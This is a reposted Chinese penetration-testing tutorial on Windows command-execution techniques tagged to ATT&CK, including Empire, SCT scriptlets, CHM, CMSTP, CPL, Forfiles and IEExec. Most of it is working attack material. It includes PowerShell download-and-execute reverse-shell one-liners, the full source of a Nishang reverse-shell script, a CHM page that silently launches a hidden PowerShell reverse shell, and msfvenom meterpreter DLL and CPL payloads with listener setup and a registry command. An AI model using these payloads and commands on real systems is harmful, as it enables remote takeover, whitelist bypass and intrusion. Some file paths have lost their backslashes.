- 某安全公司技术经理兼项目经理
- 弥天安全实验室核心成员、炎黄安全实验室创始人
- 研究方向:渗透测试、安全运营建设
介绍
DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。
Empire介绍
Empire 是一个纯粹的PowerShell 后开发代理建立在密码安全的通信和灵活的架构。
Empire 实现了无需powershell.exe 即可运行powershell代理的功能,从键盘记录到mimikatz等快速部署的后期开发模块,以及适应性通信以逃避网络检测,所有这些都包含在以可用性为中心的框架中。
git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
./install.sh
./empire
攻击机 kali 192.168.243.133
受害机 win7 x64 192.168.243.154
- · 设置监听
- · 运行进行监听
- · 生成木马
将生成的木马文件 /tmp/launcher.bat 在受害机器上【win7 x64】运行
- · 输入 agents 进行回连查看信息
命令行界面
C:UsersrootDesktop>PowerShell IEX (New- Object Net.WebClient).DownloadString( VPS/Invoke-PowerShellTcp.ps1');Invoverse -IPAddress 192.168.243.133 - Port 666
Nc -lvp 666
本地-Signed Script Proxy Execution(签名脚本代理执行)
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
在远程 web 服务器根目录写入 1.sct 文件如下:pubprn.vbs 方式
root@kali:~
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true" >
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
Wscript 方式
启动 Empire 生成 vbs 脚本
设置监听地址信息
输入 “execute"运行,生成VBS代码;使用agents 列出列表
或者
C:UsersrootDesktop>wscript launcher.vbs
执行一次,响应一次;获取目标代理
获取SHELL
agents
(Empire: agents) > interact RWACGHYM
(Empire: RWACGHYM) > shell ipconfig
chm
CHM 文件格式是微软于 1998 年推出的基于 HTML 文件特性的帮助文件系统,以替代早先的 WinHelp 帮助系统。它在 Windows 98 中把 CHM 类型文件称作“编译的 HTML 帮助文件”(Compiled HTML Help file);被 IE 浏览器支持的JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起;
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
创建恶意 chm 文件
SIP.html
<html>
<h1>blue team</h1>
<body>
Security
</body>
</html>
STA.html
<html>
<h1>blue team</h1>
<body>
Network
</body>
</html>
Index.html
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 he
ight=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe,-nop -w hidden -c IEX (New-Object
Net.WebClient).DownloadString('192.168.243.134/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.243.133 -Port 666">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
CMSTP
CMSTP是一个与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。它是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中。
通过cmstp.exe命令执行,调用恶意的dll或者com脚本(sct)。这种方式可以绕过applocker或者其他白名单的防御方式以及UAC.
C:WindowsSystem32cmstp.exe
C:WindowsSysWOW64cmstp.exe
攻击机:Kali(192.168.243.133)
受害机:Win7 X64(192.168.243.154)
1.通过 Metasploit Framework 的 msfvenom 生成恶意 DLL 文件 (pentestlab.dll)。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.243.133 LPORT=3333 -f dll > /root/Desktop/pentestlab.dll
INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执行 的 WebDAV 位置。
cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:UsersrootDesktoppentestlab.dll
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager" ServiceName="Pentestlab" ShortSvcName="Pentestlab"
2、INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执 行的 WebDAV 位置。
[RegisterOCXSection]
C:UsersrootDesktoppentestlab.dll
3、Metasploit multi/handler 模块需要配置为接收连接。
4、当恶意 INF 文件与 cmstp 一起提供时,代码 将会在后台执行。
cmstp.exe /s cmstp.inf
5、获得 Meterpreter 会话。
本地-CPL
CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item;在系统安装目录的system32下面有一系列.cpl文件,它们分别对应着控制面板中的项目
CPL文件本质是Windows可执行性文件,但不属于可以直接独立运行的文件,通常由shell32.dll打开
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
第一步是创建一个 dll 并将其重命名为.cpl,以便它可以与控制面板一起 执行,Metasploit 的 Msfvenom 可以创建一个自定义的 dll,其中可以包含一个嵌 入的 meterpreter 有效载荷或者 Didier Stevens 的 cmd DLL 文件,可以用来绕过 禁止 cmd 运行的限制。
1、msfvenom 生成 payload
msfvenom -p windows/meterpreter/reverse_tcp -b 'x00xff' lhost=192.168.243.133 lport=3333 -f dll -o pentestlab.cpl
2、msf 设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.243.133
set LPORT 3333
exploit -j
3、以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的 CPL 文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。
reg add "HKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionCo ntrol PanelCpls" /v pentestlab.cpl /t REG_SZ /d "C:cplpentestlab.cpl"
4.打开控制面板执行 payload 或者 control pentestlab.cpl,获取 Meterpreter 会 话
成功获取 session
本地-Forfiles
forfiles是windows自带的一个批量删除命令,对于时间的判断是通过文件自身的修改日期属性进行判断,使用它来对历史文件进行判断删除是个不错的选择。
forfiles 命令用来搜索不同盘符指定文件或文件夹, 更新软件或执行批处理程序都非常方便, 其语法为: forfiles /p 要搜索的文件夹或盘符 /m 要搜索的文件类型 /s 递归搜索文件 /c 执行文件命令
详细命令:https://www.jb51.net/softs/498793.html
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
1、forfiles /p c:windowssystem32 /m notepad.exe /c calc.exe
本地-IEExec
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
C:WindowsMicrosoft.NETFramework64v2.0.50727IEExec.exe http://192.168.243.133/evil.exe
请看下回分解。
本文始发于微信公众号(安世加):技术干货 | ATT&ck命令执行 —— 远程动态数据交换(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论